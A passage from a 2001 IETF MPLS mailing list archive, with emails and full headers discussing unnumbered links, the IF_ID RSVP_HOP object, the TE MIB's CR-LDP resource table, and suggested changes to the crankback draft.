> 3: If the IF_ID RSVP_HOP object is what I think it is (a new C-Type
>    for specifying an unnumbered link in the HOP object), why is it
>    necessary?  The existing HOP object already has a field for LIH,
>    which appears to have the same functionality as the interface ID
>    field in the new ERO/RRO subobjects.

As I recall, this has been discussed in the past. And the conclusion
was that the currently defined semantics of LIH makes it unsuitable
for carrying inteface ID.

> 4: Is there any way for an ingress router to compute an ERO with
>    unnumbered links in it if GMPLS is not implemented?  It appears
>    that support for unnumbered links was deleted from the TE versions
>    of OSPF and ISIS, and moved into the GMPLS versions of those
>    protocols, making the necessary information for ERO computation
>    unavailable in an MPLS environment.

You certainly don't need to implement all the GMPLS routing and 
signaling extensions in order to support unnumbered interfaces.

Yakov.


From owner-mpls@UU.NET  Wed Oct 24 09:50:52 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA29142
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 09:50:52 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdb18640;
	Wed, 24 Oct 2001 13:46:51 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdb00316
	for mpls-outgoing; Wed, 24 Oct 2001 13:46:34 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmdb00311
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 13:46:32 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmdb01131
	for <mpls@uu.net>; Wed, 24 Oct 2001 13:46:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmdb16911
	for <mpls@uu.net>; Wed, 24 Oct 2001 13:45:53 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA08261 for <mpls@uu.net>; Wed, 24 Oct 2001 09:46:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA16046 for mpls@uu.net; Wed, 24 Oct 2001 09:46:02 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmdb00135
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 13:45:47 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmdb08229
	for <mpls@UU.NET>; Wed, 24 Oct 2001 13:45:17 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmdb15662
	for <mpls@UU.NET>; Wed, 24 Oct 2001 13:45:07 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA08164; Wed, 24 Oct 2001 09:45:09 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABD00652;
	Wed, 24 Oct 2001 09:45:07 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011024094424.01b10450@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 24 Oct 2001 09:46:01 -0400
To: "Ashwin C. Prabhu" <Ashwinp@in.huawei.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: Why do we need CR-LDP Tunnel Resource Table in TE MIB 7?
Cc: mpls-ops@mplsrc.com, "'mpls@uu.net'" <mpls@UU.NET>, cheenu@alphion.com,
        arun@force10networks.com
In-Reply-To: <751B6DD7A243D511AB9F0002557C56870154531F@HUAWEIMAIL>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_2814757==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_2814757==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 03:43 PM 10/24/2001 +0530, Ashwin C. Prabhu wrote:
>
>Hello All
>
>  Why the CR-LDP Tunnel Resource Table is added in the 
> draft-ietf-mpls-te-mib-07.txt.

         It was added to support CD-LDP resources for tunnels. :P

>  There is also a mplsTunnelResourceTable which has all the parameters
>  of the mplsTunnelCRLDPResTable.

         Yes, I believe that is a typo that needs to be fixed in the next
revision. The duplicated objects that are in the CD-LDP table
will be removed, as they can be gotten from the base resource
table.

         --Tom


>  And the note specifically says that this is in addition to the Tunnel 
> Resource Table .
>
>The mplsTunnelCRLDPResTable allows a manager to
>           specify which CR-LDP-specific resources are desired
>           for an MPLS tunnel if that tunnel is signaled using
>           CR-LDP. Note that these attributes are in addition
>           to those specified in mplsTunnelResourceTable. This
>           table also allows several tunnels to point to a
>           single entry in this table, implying that these
>           tunnels should share resources.
>
>And the parameters of the table are same expect the mplsTunnelCRLDPResFlags.
>Can you please tell me what is the differance between these 2 tables and 
>why is this
>needed ?
>
>
>Ashwin
>
>
>
>



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_2814757==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3>At 03:43 PM 10/24/2001 +0530, Ashwin C. Prabhu wrote:<br>
<blockquote type=cite cite>&nbsp;<br>
</font><font face="arial" size=2 color="#0000FF">Hello
All</font><font size=3><br>
&nbsp;<br>
</font><font face="arial" size=2 color="#0000FF">&nbsp;Why the CR-LDP
Tunnel Resource Table is added in the draft-ietf-mpls-te-mib-07.txt.
</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>It was
added to support CD-LDP resources for tunnels. :P<br>
<br>
<blockquote type=cite cite><font face="arial" size=2 color="#0000FF">&nbsp;There
is also a mplsTunnelResourceTable which has all the parameters
</font><font size=3><br>
</font><font face="arial" size=2 color="#0000FF">&nbsp;of the
mplsTunnelCRLDPResTable. </font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Yes, I
believe that is a typo that needs to be fixed in the next<br>
revision. The duplicated objects that are in the CD-LDP table<br>
will be removed, as they can be gotten from the base resource<br>
table.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<blockquote type=cite cite><font face="arial" size=2 color="#0000FF">&nbsp;And
the note specifically says that this is in addition to the Tunnel
Resource Table . </font><font size=3><br>
&nbsp;<br>
</font><font face="arial" size=2 color="#FF00FF"><b>The
mplsTunnelCRLDPResTable allows a manager to<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; specify which
CR-LDP-specific resources are desired<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for an MPLS tunnel
if that tunnel is signaled using<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CR-LDP.
</font><font face="arial" size=2 color="#0000FF">Note that these
attributes are in addition<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to those specified
in mplsTunnelResourceTable.
</font><font face="arial" size=2 color="#FF00FF">This<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; table also allows
several tunnels to point to a<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; single entry in
this table, implying that these<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tunnels should
share resources.</b></font><font size=3><br>
&nbsp;<br>
</font><font face="arial" size=2 color="#0000FF">And the parameters of
the table are same expect the
mplsTunnelCRLDPResFlags.</font><font size=3><br>
</font><font face="arial" size=2 color="#0000FF">Can you please tell me
what is the differance between these 2 tables and why is this
</font><font size=3><br>
</font><font face="arial" size=2 color="#0000FF">needed
?</font><font size=3><br>
&nbsp;<br>
&nbsp;<br>
</font><font face="arial" size=2 color="#0000FF">Ashwin</font><font size=3><br>
&nbsp;<br>
&nbsp;<br>
&nbsp;<br>
&nbsp;</font></blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_2814757==_.ALT--



From owner-mpls@UU.NET  Wed Oct 24 10:05:28 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA29982
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 10:05:28 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdc15517;
	Wed, 24 Oct 2001 14:02:08 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdc05526
	for mpls-outgoing; Wed, 24 Oct 2001 14:01:50 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmdc05428
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 14:01:35 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmdc12332
	for <mpls@uu.net>; Wed, 24 Oct 2001 14:00:04 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmdb11613
	for <mpls@uu.net>; Wed, 24 Oct 2001 13:59:52 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA10072 for <mpls@uu.net>; Wed, 24 Oct 2001 10:00:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA16996 for mpls@uu.net; Wed, 24 Oct 2001 10:00:01 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmdb01117
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 13:59:41 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmdb01250
	for <mpls@uu.net>; Wed, 24 Oct 2001 13:56:16 GMT
Received: from miles.dataconnection.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp2.dataconnection.com [192.91.191.8])
	id QQlmdb01386
	for <mpls@uu.net>; Wed, 24 Oct 2001 13:56:33 GMT
Received: by miles.datcon.co.uk with Internet Mail Service (5.5.2653.19)
	id <4DV8RYMZ>; Wed, 24 Oct 2001 14:56:04 +0100
Message-ID: <53F74F5A7B94D511841C00B0D0AB16F813611F@baker.datcon.co.uk>
From: Edward Harrison <eph@dataconnection.com>
To: NEC - Atsushi Iwata <a-iwata@ah.jp.nec.com>,
        "'n-fujita@bk.jp.nec.com'" <n-fujita@bk.jp.nec.com>,
        AT & T - Jerry Ash
	 <gash@att.com>,
        "'afarrel@movaz.com'" <afarrel@movaz.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>, Tim Hall <TimHall@dataconnection.com>
Subject: Comment and suggestion for draft-iwata-mpls-crankback-01.txt
Date: Wed, 24 Oct 2001 14:54:17 +0100
Deferred-Delivery: Wed, 24 Oct 2001 14:56:00 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

I've been looking at the Crankback draft (draft-iwata-mpls-crankback-01.txt)
and have a couple of questions/suggestions.  I have primarily been looking
at the draft from an RSVP perspective, so please forgive any RSVP bias in
what follows!

Reporting upstream Link blockages
=================================

In section 5, Location Identifiers of Blocked Links or Nodes, there is the
following sentence:

"Upon a link blockage, the first and second ER-Hop TLVs are
 returned, which means that the blockage location is the link between
 the two nodes indicated by these TLVs."

Whilst this seems to work fine if the blockage is on the downstream link,
there are circumstances where the blockage may be on the upstream link.  For
example, in RSVP when processing a Resv, there may not be sufficient
resources on the upstream link.  Alternatively, if out of band signalling is
used, the signaling message (e.g. an RSVP Path) may arrive at the downstream
node, but the data link to the upstream node may be unavailable.

In this scenario, using the first and second ER-Hop TLVs will indicate the
incorrect link (as they will indicate the downstream one).  I think the
downstream node should instead generate a TLV to identify the upstream end
of the link, returning this along with the first ER-HOP TLV.  Perhaps the
following text (or similar) could be used to clarify this:

"In some circumstances a node may wish to report a link blockage between
itself and the upstream node, in which case the first and second ER-Hop TLVs
should not be used (as these identify the downstream link).  This may occur
because the downstream node has no resources available on that link, or
because the data link is down, but the signaling message has arrived out of
band.  In these cases, the downstream node can use the Label Request's
source IP address (LDP) or PHOP object (RSVP) to generate an ER-TLV for the
upstream node.  It can use this generated ER-Hop TLV with the first ER-Hop
TLV to identify the link."

Dealing with ResvErr message using SE style
===========================================

In section 9.6, ResvErr usage, there is the following text:

"When a ResvErr carrying a Rerouting object is received at an egress
 LSR, the egress LSR MAY ignore this object and perform the same
 actions as for any other ResvErr. However, if the egress LSR supports
 the crankback extensions defined in this draft, it SHOULD generate a
 PathErr message and send it to the ingress LSR."

I think this fails to address ResvErr messages that use the Shared Explicit
(SE) style and actually refers to more than one LSP (for example, if make
before break is being used).  Under these circumstances multiple PathErr
message should presumably be sent, each containing the rerouting object.

Perhaps adding the following text would be appropriate:

"If the ResvErr uses the SE style and refers to more than one Path, a
PathErr SHOULD  be sent for each of the LSPs indicated in the Filterspec
object of the ResvErr."

Reporting Label information
===========================

I realise that your original draft concentrates on base MPLS rather than
GMPLS.  However, I can see situations where the Crankback information could
be enhanced in a GMPLS environment.  I don't know whether it is appropriate
to introduce specific GMPLS concepts into the draft, or whether one would
need a separate CCMAP version.  In either case I'll give you the immediate
example that sprang to mind so that you can think about whether it is
generally useful!

When Explicit Label control is used, it could be useful for the rerouting
information to contain not only information on the node or link that caused
the failure, but also, if it was a specific label operation that caused the
failure, information on the label that failed.

I'd like to propose adding a new rerouting subobect to provide information
where the label was the cause of a failure.  Here is a suggested definition
for the RSVP version of the object (if you agree that this is a useful new
object then I can provide an LDP definition as well).

Label-Rerouting Subobject

     The Label Rerouting subobject is used in conjunction with
     Explicit Label Control [GMPLS].  It is used to identify an 
     explicit label which was the cause of a setup blockage.

     It is intended to follow a node or link ID where setup blockage
     occurred, and indicates that the problem was caused for one of
     the following reasons :

      - Either of the upstream or downstream explicit labels in
        the first ERO hop on the Path Message are unacceptable.
      - A label set on the Path Message was unacceptable.  When
        using explicit label control, this will be a singleton
        label set.  It will have been constructed from the
        explicit label for the forward directional LSP at the
        upstream node.
      - An upstream label object on the Path message was 
        unacceptable.  When using explicit label control, this
        will have been constructed from the explicit label for
        the reverse directional LSP at the upstream node.
      - A Node was unable to switch between the input and output
        labels (either for the forward or reverse directional LSP).
        This is particularly relevant in optical networks.


    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |     Type      |     Length    |  Error Code   |      Num      |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                Label ERO Subobject 1 (optional)               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                Label ERO Subobject 2 (optional)               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


   Type
     The Type indicates the type of contents of the subobject.
     3   Label-Rerouting subobject

   Length
     The length in bytes of the subobject.

   Error Code
     The Error code should be set to one of the following values :

        0  -  The specified Label value(s) were unacceptable.
        1  -  The node was unable to switch between the input and output
              labels.

   Num
     The number of labels contained within this subobject. 

     In normal circumstances, this will be one.  However, there are
     conditions in which a node may wish to include two labels :
 
       - Both the labels for the forward directional and reverse
         directional LSP on a link were unacceptable.  
       - The node is unable to switch between input and output labels,
         and wishes to indicate the exact label values involved.
     
Note that this object may prove superfluous given the recent addition of
Acceptable Label Set to the GMPLS drafts.  That said, the two objects
provide subtly different things - Acceptable Label Set telling you which
labels you can use, whilst the above object tells you which ones you can't.
I'd be interested to know if you feel it would be useful to have these two
pieces of information, or whether Acceptable Label Set is enough.

Please let me know if you have any comments or would like to discuss any of
the above.

Regards,

Ed

-----------
Ed Harrison  mailto:eph@dataconnection.com
Network Convergence Group
Data Connection Ltd.
http://www.dataconnection.com/
Tel: +44 20 8366 1177  Fax: +44 20 8363 1468



From owner-mpls@UU.NET  Wed Oct 24 10:45:34 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02041
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 10:45:33 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmde20172;
	Wed, 24 Oct 2001 14:41:13 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmde24276
	for mpls-outgoing; Wed, 24 Oct 2001 14:40:52 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmde24270
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 14:40:36 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmde11399
	for <mpls@uu.net>; Wed, 24 Oct 2001 14:40:04 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmde18102
	for <mpls@uu.net>; Wed, 24 Oct 2001 14:39:54 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA16638 for <mpls@uu.net>; Wed, 24 Oct 2001 10:40:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA18844 for mpls@uu.net; Wed, 24 Oct 2001 10:40:02 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmde24153
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 14:38:37 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmde06382
	for <mpls@uu.net>; Wed, 24 Oct 2001 14:37:58 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmde14536
	for <mpls@uu.net>; Wed, 24 Oct 2001 14:37:48 GMT
Received: from telescope.cisco.com (telescope.cisco.com [161.44.166.204]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA16256; Wed, 24 Oct 2001 10:37:57 -0400 (EDT)
Received: from localhost (swallow@localhost) by telescope.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id KAA02279; Wed, 24 Oct 2001 10:37:57 -0400 (EDT)
Message-Id: <200110241437.KAA02279@telescope.cisco.com>
X-Authentication-Warning: telescope.cisco.com: swallow owned process doing -bs
To: Yakov Rekhter <yakov@juniper.net>
cc: George Swallow <swallow@cisco.com>, mpls@UU.NET, swallow@cisco.com
Subject: Re: Simplification for UNNUM draft. 
In-reply-to: Your message of "Tue, 23 Oct 2001 16:34:51 PDT."
             <200110232334.f9NNYp026115@merlot.juniper.net> 
Date: Wed, 24 Oct 2001 10:37:57 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

> If we mandate the use of IF_ID HOP for unnumbered, let me also
> suggest that we mandate the use of IF_ID HOP for link bundling,
> (thus eliminating the Implicit Indication from
> draft-ietf-mpls-bundle-00.txt).
> 
> Comments ?

Fine by me.

...George

==================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824



From owner-mpls@UU.NET  Wed Oct 24 11:19:45 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03435
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 11:19:45 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdh22610;
	Wed, 24 Oct 2001 15:16:25 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdh16977
	for mpls-outgoing; Wed, 24 Oct 2001 15:15:32 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmdh16784
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 15:15:21 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmdh12325
	for <mpls@uu.net>; Wed, 24 Oct 2001 15:15:04 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmdh20682
	for <mpls@uu.net>; Wed, 24 Oct 2001 15:15:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA23862 for <mpls@uu.net>; Wed, 24 Oct 2001 11:15:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA21084 for mpls@uu.net; Wed, 24 Oct 2001 11:15:02 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmdg16636
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 15:14:27 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmdg09568
	for <mpls@UU.NET>; Wed, 24 Oct 2001 15:14:03 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmdg18805
	for <mpls@UU.NET>; Wed, 24 Oct 2001 15:14:21 GMT
Received: from telescope.cisco.com (telescope.cisco.com [161.44.166.204]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA23739; Wed, 24 Oct 2001 11:14:02 -0400 (EDT)
Received: from localhost (swallow@localhost) by telescope.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id LAA03100; Wed, 24 Oct 2001 11:14:02 -0400 (EDT)
Message-Id: <200110241514.LAA03100@telescope.cisco.com>
X-Authentication-Warning: telescope.cisco.com: swallow owned process doing -bs
To: David Charlap <David.Charlap@marconi.com>
cc: mpls@UU.NET, swallow@cisco.com
Subject: Re: Questions on unnumbered links 
In-reply-to: Your message of "Tue, 23 Oct 2001 20:38:44 EDT."
             <3BD60D94.9B7E9765@marconi.com> 
Date: Wed, 24 Oct 2001 11:14:02 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

> 3: If the IF_ID RSVP_HOP object is what I think it is (a new C-Type
>    for specifying an unnumbered link in the HOP object), why is it
>    necessary?  The existing HOP object already has a field for LIH,
>    which appears to have the same functionality as the interface ID
>    field in the new ERO/RRO subobjects.

I fought hard for this.  Turns out that it was underspecified for too
long and the text about having meaning only to the sender taken too
literally by some implementors.  Squatter's rights have prevailed and
we had to get a new field.

...George

==================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824



From owner-mpls@UU.NET  Wed Oct 24 11:54:35 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA04580
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 11:54:35 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdj29995;
	Wed, 24 Oct 2001 15:51:23 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdj20091
	for mpls-outgoing; Wed, 24 Oct 2001 15:50:40 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmdj20078
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 15:50:36 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmdj22313
	for <mpls@uu.net>; Wed, 24 Oct 2001 15:50:07 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmdj28281
	for <mpls@uu.net>; Wed, 24 Oct 2001 15:50:25 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA28965 for <mpls@uu.net>; Wed, 24 Oct 2001 11:50:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA23164 for mpls@uu.net; Wed, 24 Oct 2001 11:50:01 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmdj19962
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 15:48:45 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmdj18214
	for <mpls@UU.NET>; Wed, 24 Oct 2001 15:48:09 GMT
Received: from xover.mindspeed.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cnxt10002.conexant.com [198.62.10.2])
	id QQlmdj21863
	for <mpls@UU.NET>; Wed, 24 Oct 2001 15:48:27 GMT
Received: by XOVER.dedham.mindspeed.com with Internet Mail Service (5.5.2653.19)
	id <VFBAYDD9>; Wed, 24 Oct 2001 11:47:57 -0400
Message-ID: <87009604743AD411B1F600508BA0F9598AD937@XOVER.dedham.mindspeed.com>
From: "Kullberg, Alan" <akullber@netplane.com>
To: "'Yakov Rekhter'" <yakov@juniper.net>,
        George Swallow
	 <swallow@cisco.com>
Cc: mpls@UU.NET
Subject: RE: Simplification for UNNUM draft. 
Date: Wed, 24 Oct 2001 11:47:56 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Yakov,
 
